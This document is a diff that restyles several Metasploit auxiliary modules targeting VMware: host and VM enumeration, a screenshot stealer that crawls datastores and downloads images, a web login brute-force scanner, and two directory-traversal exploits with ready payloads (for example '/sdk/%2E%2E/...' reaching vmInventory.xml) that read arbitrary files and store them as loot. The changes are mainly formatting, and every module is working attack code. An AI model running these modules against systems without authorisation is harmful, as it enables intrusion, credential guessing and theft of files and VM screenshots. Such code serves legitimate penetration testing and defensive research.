|
||||
screenshot = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'])
|
||||
case screenshot
|
||||
when :error
|
||||
print_error "Screenshot failed"
|
||||
print_error 'Screenshot failed'
|
||||
next
|
||||
when :expired
|
||||
vim_do_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
retry_result = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'] )
|
||||
if retry_result == :error or retry_result == :expired
|
||||
print_error "Screenshot failed"
|
||||
retry_result = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'])
|
||||
if (retry_result == :error) || (retry_result == :expired)
|
||||
print_error 'Screenshot failed'
|
||||
else
|
||||
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], retry_result, "#{vm['name']}_screenshot.png", "Screenshot of VM #{vm['name']}")
|
||||
ss_path = store_loot('host.vmware.screenshot', 'image/png', datastore['RHOST'], retry_result, "#{vm['name']}_screenshot.png", "Screenshot of VM #{vm['name']}")
|
||||
print_good "Screenshot Saved to #{ss_path}"
|
||||
end
|
||||
else
|
||||
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], screenshot, "screenshot.png", "Screenshot of VM #{vm['name']}")
|
||||
ss_path = store_loot('host.vmware.screenshot', 'image/png', datastore['RHOST'], screenshot, 'screenshot.png', "Screenshot of VM #{vm['name']}")
|
||||
print_good "Screenshot Saved to #{ss_path}"
|
||||
end
|
||||
end
|
||||
|
||||
f = store_loot('host.vmware.vms', "text/plain", datastore['RHOST'], YAML.dump(virtual_machines) , "#{datastore['RHOST']}_esx_vms.txt", "VMWare ESX Virtual Machines")
|
||||
f = store_loot('host.vmware.vms', 'text/plain', datastore['RHOST'], YAML.dump(virtual_machines), "#{datastore['RHOST']}_esx_vms.txt", 'VMware ESX Virtual Machines')
|
||||
vprint_good("VM info stored in: #{f}")
|
||||
else
|
||||
print_error "Login Failure on #{ip}"
|
||||
|
||||
@@ -11,34 +11,39 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Enumerate Host Details',
|
||||
'Description' => %Q{
|
||||
This module attempts to enumerate information about the host systems through the VMWare web API.
|
||||
'Name' => 'VMware Enumerate Host Details',
|
||||
'Description' => %(
|
||||
This module attempts to enumerate information about the host systems through the VMware web API.
|
||||
This can include information about the hardware installed on the host machine.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
),
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true },
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptBool.new('HW_DETAILS', [true, "Enumerate the Hardware on the system as well?", false])
|
||||
])
|
||||
OptString.new('USERNAME', [ true, 'The username to authenticate with.', 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to authenticate with.', 'password' ]),
|
||||
OptBool.new('HW_DETAILS', [ true, 'Enumerate the hardware on the system as well?', false ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
output = "VMWare Host at #{ip} details\n"
|
||||
output = "VMware Host at #{ip} details\n"
|
||||
host_summary = vim_get_all_host_summary(datastore['HW_DETAILS'])
|
||||
output << YAML.dump(host_summary)
|
||||
print_good output
|
||||
|
||||
f = store_loot('vmware_host_details', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_vmware_host.txt", "VMWare Host Details")
|
||||
f = store_loot('vmware_host_details', 'text/plain', datastore['RHOST'], output, "#{datastore['RHOST']}_vmware_host.txt", 'VMware Host Details')
|
||||
vprint_good("Host details stored in: #{f}")
|
||||
else
|
||||
print_error "Login Failure on #{ip}"
|
||||
|
||||
@@ -3,7 +3,6 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
@@ -13,23 +12,30 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Web Login Scanner',
|
||||
'Description' => 'This module attempts to authenticate to the VMWare HTTP service
|
||||
for VmWare Server, ESX, and ESXI',
|
||||
'Author' => ['theLightCosine'],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0502'] # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
'Name' => 'VMware Web Login Scanner',
|
||||
'Description' => %(
|
||||
This module attempts to authenticate to the VMware
|
||||
HTTP service for VMware Server, ESX, and ESXI.
|
||||
),
|
||||
'Author' => ['theLightCosine'],
|
||||
'References' => [
|
||||
[ 'CVE', '1999-0502'] # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true },
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [true, "The default URI to login with", "/sdk"]),
|
||||
OptString.new('URI', [true, 'The default URI to login with', '/sdk']),
|
||||
Opt::RPORT(443)
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
@@ -59,9 +65,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
def run_host(_ip)
|
||||
return unless is_vmware?
|
||||
each_user_pass { |user, pass|
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
result = vim_do_login(user, pass)
|
||||
case result
|
||||
when :success
|
||||
@@ -71,25 +78,25 @@ class MetasploitModule < Msf::Auxiliary
|
||||
when :fail
|
||||
print_error "#{rhost}:#{rport} - Login Failure (#{user}:#{pass})"
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# Mostly taken from the Apache Tomcat service validator
|
||||
def is_vmware?
|
||||
soap_data =
|
||||
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
%(<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<env:Body>
|
||||
<RetrieveServiceContent xmlns="urn:vim25">
|
||||
<_this type="ServiceInstance">ServiceInstance</_this>
|
||||
</RetrieveServiceContent>
|
||||
</env:Body>
|
||||
</env:Envelope>|
|
||||
</env:Envelope>)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'data' => soap_data
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'data' => soap_data
|
||||
}, 25)
|
||||
|
||||
unless res
|
||||
@@ -98,10 +105,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
fingerprint_vmware(res)
|
||||
rescue ::Rex::ConnectionError => e
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} Error: could not connect")
|
||||
return false
|
||||
rescue => e
|
||||
rescue StandardError => e
|
||||
vprint_error("#{rhost}:#{rport} Error: #{e}")
|
||||
return false
|
||||
end
|
||||
@@ -113,27 +120,27 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
return false unless res.body.include?('<vendor>VMware, Inc.</vendor>')
|
||||
|
||||
os_match = res.body.match(/<name>([\w\s]+)<\/name>/)
|
||||
ver_match = res.body.match(/<version>([\w\s\.]+)<\/version>/)
|
||||
build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/)
|
||||
full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/)
|
||||
os_match = res.body.match(%r{<name>([\w\s]+)</name>})
|
||||
ver_match = res.body.match(%r{<version>([\w\s.]+)</version>})
|
||||
build_match = res.body.match(%r{<build>([\w\s.-]+)</build>})
|
||||
full_match = res.body.match(%r{<fullName>([\w\s.-]+)</fullName>})
|
||||
|
||||
if full_match
|
||||
print_good "#{rhost}:#{rport} - Identified #{full_match[1]}"
|
||||
report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => full_match[1])
|
||||
report_service(host: rhost, port: rport, proto: 'tcp', sname: 'https', info: full_match[1])
|
||||
end
|
||||
|
||||
unless os_match and ver_match and build_match
|
||||
vprint_error("#{rhost}:#{rport} Error: Could not identify host as VMWare")
|
||||
unless os_match && ver_match && build_match
|
||||
vprint_error("#{rhost}:#{rport} Error: Could not identify host as VMware")
|
||||
return false
|
||||
end
|
||||
|
||||
if os_match[1].include?('ESX') || os_match[1].include?('vCenter')
|
||||
# Report a fingerprint match for OS identification
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:ntype => 'fingerprint.match',
|
||||
:data => {'os.vendor' => 'VMware', 'os.product' => os_match[1] + " " + ver_match[1], 'os.version' => build_match[1] }
|
||||
host: rhost,
|
||||
ntype: 'fingerprint.match',
|
||||
data: { 'os.vendor' => 'VMware', 'os.product' => os_match[1] + ' ' + ver_match[1], 'os.version' => build_match[1] }
|
||||
)
|
||||
return true
|
||||
end
|
||||
|
||||
@@ -11,29 +11,30 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Screenshot Stealer',
|
||||
'Description' => %Q{
|
||||
This module uses supplied login credentials to connect to VMWare via
|
||||
the web interface. It then searches through the datastores looking for screenshots.
|
||||
'Name' => 'VMware Screenshot Stealer',
|
||||
'Description' => %(
|
||||
This module uses supplied login credentials to connect to VMware via the
|
||||
web interface and searches through the datastores looking for screenshots.
|
||||
It will download any screenshots it finds and save them as loot.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
),
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
|
||||
])
|
||||
OptString.new('USERNAME', [ true, 'The username to Authenticate with.', 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to Authenticate with.', 'password' ])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
@user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
|
||||
@user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ':' + datastore['PASSWORD'])
|
||||
crawl_page('/folder')
|
||||
else
|
||||
print_error "Login Failure on #{ip}"
|
||||
@@ -41,59 +42,58 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def crawl_page(path, parent='')
|
||||
def crawl_page(path, parent = '')
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => 'GET',
|
||||
'cookie' => @vim_cookie,
|
||||
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
|
||||
'uri' => path,
|
||||
'method' => 'GET',
|
||||
'cookie' => @vim_cookie,
|
||||
'headers' => { 'Authorization' => "Basic #{@user_pass}" }
|
||||
}, 25)
|
||||
if res
|
||||
@vim_cookie = res.get_cookies
|
||||
if res.code== 200
|
||||
res.body.scan(/<a href="([\w\/\?=&;%]+)">/) do |match|
|
||||
link = match[0]
|
||||
link.gsub!('&', '&')
|
||||
case link
|
||||
when /%2epng?/
|
||||
img_name = Rex::Text::uri_decode(link.match(/\/([\w\?=&;%]+%2epng)/)[1])
|
||||
print_good "Screenshot Found: #{img_name} Full Path: #{link}"
|
||||
grab_screenshot(link, img_name)
|
||||
when /%2e(?!png)/
|
||||
next
|
||||
when parent
|
||||
next
|
||||
else
|
||||
crawl_page(link, path)
|
||||
end
|
||||
return unless res
|
||||
|
||||
@vim_cookie = res.get_cookies
|
||||
|
||||
if res.code == 200
|
||||
res.body.scan(%r{<a href="([\w/?=&;%]+)">}) do |match|
|
||||
link = match[0]
|
||||
link.gsub!('&', '&')
|
||||
case link
|
||||
when /%2epng?/
|
||||
img_name = Rex::Text.uri_decode(link.match(%r{/([\w?=&;%]+%2epng)})[1])
|
||||
print_good "Screenshot Found: #{img_name} Full Path: #{link}"
|
||||
grab_screenshot(link, img_name)
|
||||
when /%2e(?!png)/
|
||||
next
|
||||
when parent
|
||||
next
|
||||
else
|
||||
crawl_page(link, path)
|
||||
end
|
||||
elsif res.code == 401
|
||||
print_error "Authorization Failure for: #{path}"
|
||||
end
|
||||
elsif res.code == 401
|
||||
print_error("Authorization failure for: #{path}")
|
||||
end
|
||||
end
|
||||
|
||||
def grab_screenshot(path, name)
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => 'GET',
|
||||
'cookie' => @vim_cookie,
|
||||
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
|
||||
'uri' => path,
|
||||
'method' => 'GET',
|
||||
'cookie' => @vim_cookie,
|
||||
'headers' => { 'Authorization' => "Basic #{@user_pass}" }
|
||||
}, 25)
|
||||
if res
|
||||
@vim_cookie = res.get_cookies
|
||||
if res.code == 200
|
||||
img = res.body
|
||||
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], img, name , "Screenshot of VM #{name}")
|
||||
print_good "Screenshot saved to #{ss_path}"
|
||||
else
|
||||
print_error "Failed to retrieve screenshot at #{path} HTTP Response code #{res.code} "
|
||||
end
|
||||
else
|
||||
print_error "Failed to retrieve screenshot: there was no reply"
|
||||
end
|
||||
|
||||
unless res
|
||||
print_error('Failed to retrieve screenshot: there was no reply')
|
||||
return
|
||||
end
|
||||
@vim_cookie = res.get_cookies
|
||||
if res.code == 200
|
||||
img = res.body
|
||||
ss_path = store_loot('host.vmware.screenshot', 'image/png', datastore['RHOST'], img, name, "Screenshot of VM #{name}")
|
||||
print_good("Screenshot saved to #{ss_path}")
|
||||
else
|
||||
print_error("Failed to retrieve screenshot at #{path} HTTP Response code #{res.code}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -13,69 +13,72 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMware Server Directory Traversal Vulnerability',
|
||||
'Name' => 'VMware Server Directory Traversal Vulnerability',
|
||||
'Description' => 'This modules exploits the VMware Server Directory Traversal
|
||||
vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before
|
||||
2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5
|
||||
allows remote attackers to read arbitrary files. Common VMware server ports
|
||||
80/8222 and 443/8333 SSL. If you want to download the entire VM, check out
|
||||
the gueststealer tool.',
|
||||
'Author' => 'CG' ,
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2009-0015.html' ],
|
||||
[ 'OSVDB', '59440' ],
|
||||
[ 'BID', '36842' ],
|
||||
[ 'CVE', '2009-3733' ],
|
||||
[ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ]
|
||||
]
|
||||
'Author' => 'CG',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2009-0015.html' ],
|
||||
[ 'OSVDB', '59440' ],
|
||||
[ 'BID', '36842' ],
|
||||
[ 'CVE', '2009-3733' ],
|
||||
[ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8222),
|
||||
OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']),
|
||||
OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']),
|
||||
])
|
||||
OptString.new('FILE', [ true, 'The file to view', '/etc/vmware/hostd/vmInventory.xml']),
|
||||
OptString.new('TRAV', [ true, 'Traversal Depth', '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
file = datastore['FILE']
|
||||
trav = datastore['TRAV']
|
||||
res = send_request_raw({
|
||||
'uri' => trav + file,
|
||||
'version' => '1.1',
|
||||
'method' => 'GET'
|
||||
}, 25)
|
||||
|
||||
begin
|
||||
file = datastore['FILE']
|
||||
trav = datastore['TRAV']
|
||||
res = send_request_raw({
|
||||
'uri' => trav+file,
|
||||
'version' => '1.1',
|
||||
'method' => 'GET'
|
||||
}, 25)
|
||||
|
||||
if res.nil?
|
||||
print_error("Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 200
|
||||
#print_status("Output Of Requested File:\n#{res.body}")
|
||||
print_good("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
|
||||
report_vuln(
|
||||
{
|
||||
:host => target_host,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => self.name,
|
||||
:info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}",
|
||||
:refs => self.references,
|
||||
:exploited_at => Time.now.utc
|
||||
}
|
||||
)
|
||||
else
|
||||
vprint_status("Received #{res.code} for #{trav}#{file}")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
print_error(e.message)
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
if res.nil?
|
||||
print_error('Connection timed out')
|
||||
return
|
||||
end
|
||||
|
||||
if res.code != 200
|
||||
vprint_status("Received #{res.code} for #{trav}#{file}")
|
||||
return
|
||||
end
|
||||
|
||||
# print_status("Output Of Requested File:\n#{res.body}")
|
||||
print_good("#{target_host}:#{rport} appears vulnerable to VMware Directory Traversal Vulnerability")
|
||||
report_vuln(
|
||||
{
|
||||
host: target_host,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: name,
|
||||
info: "Module #{fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}",
|
||||
refs: references,
|
||||
exploited_at: Time.now.utc
|
||||
}
|
||||
)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
print_error(e.message)
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE => e
|
||||
vprint_error(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -8,51 +8,59 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "VMWare Update Manager 4 Directory Traversal",
|
||||
'Description' => %q{
|
||||
This modules exploits a directory traversal vulnerability in VMWare Update Manager
|
||||
on port 9084. Versions affected by this vulnerability: vCenter Update Manager
|
||||
4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Alexey Sintsov', #Initial discovery, poc
|
||||
'sinn3r' #Metasploit
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'VMware Update Manager 4 Directory Traversal',
|
||||
'Description' => %q{
|
||||
This modules exploits a directory traversal vulnerability in VMware Update Manager
|
||||
on port 9084. Versions affected by this vulnerability: vCenter Update Manager
|
||||
4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Alexey Sintsov', # Initial discovery, poc
|
||||
'sinn3r' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
'References' => [
|
||||
['CVE', '2011-4404'],
|
||||
['EDB', '18138'],
|
||||
['URL', 'https://www.vmware.com/security/advisories/VMSA-2011-0014.html'],
|
||||
['URL', 'http://dsecrg.com/pages/vul/show.php?id=342']
|
||||
],
|
||||
'DisclosureDate' => '2011-11-21'))
|
||||
'DisclosureDate' => '2011-11-21',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9084),
|
||||
OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']),
|
||||
OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
fname = File.basename(datastore['FILE'])
|
||||
traversal = ".\\..\\..\\..\\..\\..\\..\\..\\"
|
||||
fname = File.basename(datastore['FILE'])
|
||||
traversal = '.\\..\\..\\..\\..\\..\\..\\..\\'
|
||||
uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE']
|
||||
|
||||
print_status("#{rhost}:#{rport} - Requesting: #{uri}")
|
||||
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
'uri' => uri
|
||||
}, 25)
|
||||
|
||||
# If there's no response, don't bother
|
||||
if res.nil? or res.body.empty?
|
||||
if res.nil? || res.body.empty?
|
||||
print_error("No content retrieved from: #{ip}")
|
||||
return
|
||||
end
|
||||
@@ -60,10 +68,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
if res.code == 404
|
||||
print_error("#{rhost}:#{rport} - File not found")
|
||||
return
|
||||
else
|
||||
print_good("File retrieved from: #{ip}")
|
||||
p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname)
|
||||
print_good("File stored in: #{p}")
|
||||
end
|
||||
|
||||
print_good("File retrieved from: #{ip}")
|
||||
p = store_loot('vmware.traversal.file', 'application/octet-stream', rhost, res.to_s, fname)
|
||||
print_good("File stored in: #{p}")
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user